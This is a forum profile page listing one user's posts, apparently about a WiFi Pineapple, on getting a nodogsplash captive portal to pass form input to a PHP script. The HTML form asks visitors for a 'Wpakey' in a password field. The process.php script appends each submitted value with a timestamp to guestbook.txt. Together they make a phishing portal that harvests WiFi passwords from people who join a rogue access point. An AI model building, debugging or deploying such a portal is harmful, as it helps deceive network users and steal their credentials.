Jump to content

Boxiom

Active Members
  • Posts

    7
  • Joined

  • Last visited

Recent Profile Visitors

297 profile views

Boxiom's Achievements

Newbie

Newbie (1/14)

  1. I tested it, and it simply sends me to an about:blank page in the browser. :/ Nothing is saved to guestbook.txt-file either.
  2. Alright, I tried that, and it worked fine. It saved testing123 to the text file. I also tried to upload the splash and process.php to some online free hosting just to test, and the whole thing worked fine. However, if I run nodogsplash and enter something into the textfields it doesn't save to a textfile. So I'm guessing there's something wrong with my html, like you said. The splash looks like this right now: <h1>Login</h1> <br> <h2>Wpakey:</h2> <form action="process.php" id="login-form" method="get"> <input type="password" name="wpakey"> <input type="submit" value="Log in"> </form> This didn't work. If I run nodogsplash and enter google.com, I am sent to the splash. When I then fill out the form and click Log In, it says www.google.com/process.php?wpakey=test123. So it somehow doesn't send to my .php file at all it seems. I also tried this, which didn't work either (just sends me to about:blank in the browser): <h1>Login</h1> <br> <h2>Wpakey:</h2> <form action="172.16.42.1:8080/process.php" id="login-form" method="get"> <input type="password" name="wpakey"> <input type="submit" value="Log in"> </form> What am I missing? Thanks. Edit: Just thought I'd mention that I am not authenticated in any way yet when trying this. I thought I'd redirect to the $authtarget after running the php script.
  3. Alright that worked fine. -_- I guess there's something wrong with my .php file then? I'll try tweaking it a bit and hopefully I'll figure it out. Thanks for the help so far!
  4. Thanks for the reply. I have uploaded my .php file to the /www folder, which processes the forms in the splash.html and saves the values to a text file. I tried to set FirewallRules allow 8080 in the nodogsplash config within the users-to-router. I also tried to allow that port within the preauthenticated-users. However, I am still not able to access the .php file when submitting the form in the splash file (i simply got stuck on the same page). My process.php looks like this: <html> <body> <?php date_default_timezone_set('Etc/GMT-1'); $date = date('m/d/Y G:i:s', time()); $space = ' '; $dataString = $_GET["wpakey"]; $dataString .= "\n"; $fWrite = fopen("guestbook.txt","a"); $wrote = fwrite($fWrite, $date.$space.$dataString); fclose($fWrite); ?> </body> </html> And within my splash.html I have a form that processes the inputs to the process.php. Any idea what I'm missing?
  5. Bumping this. Been looking around everywhere with no luck. The links posted above didn't help me because the original files were deleted. I tried placing the .php files in my /www folder, but I can't access them at all while using nodogsplash. So if anyone could help me out that would be great. Doesn't have to be done the way I'm thinking, any solution to this would be just fine.
  6. Hi again. Haven't gotten any response on PM, so I'll try here again. How can I make the splash.htm work with .php files before they users are authenticated?
  7. Hello. So right now I have a splash where you simply have to click Accept to get access to the network. However, I want the user to input their name in a form to be able to continue. I also want that name to be stored somewhere, so I know who accessed the network and when. I tried using a form on the splash that sends the field inputs to a php script, but obviously the .php file never loads because you aren't authenticated yet. So, is there a way to either: 1. Save the value in a field anywhere on the pineapple 2. Process the form to a .php file and take care of the rest there? Thanks!
×
×
  • Create New...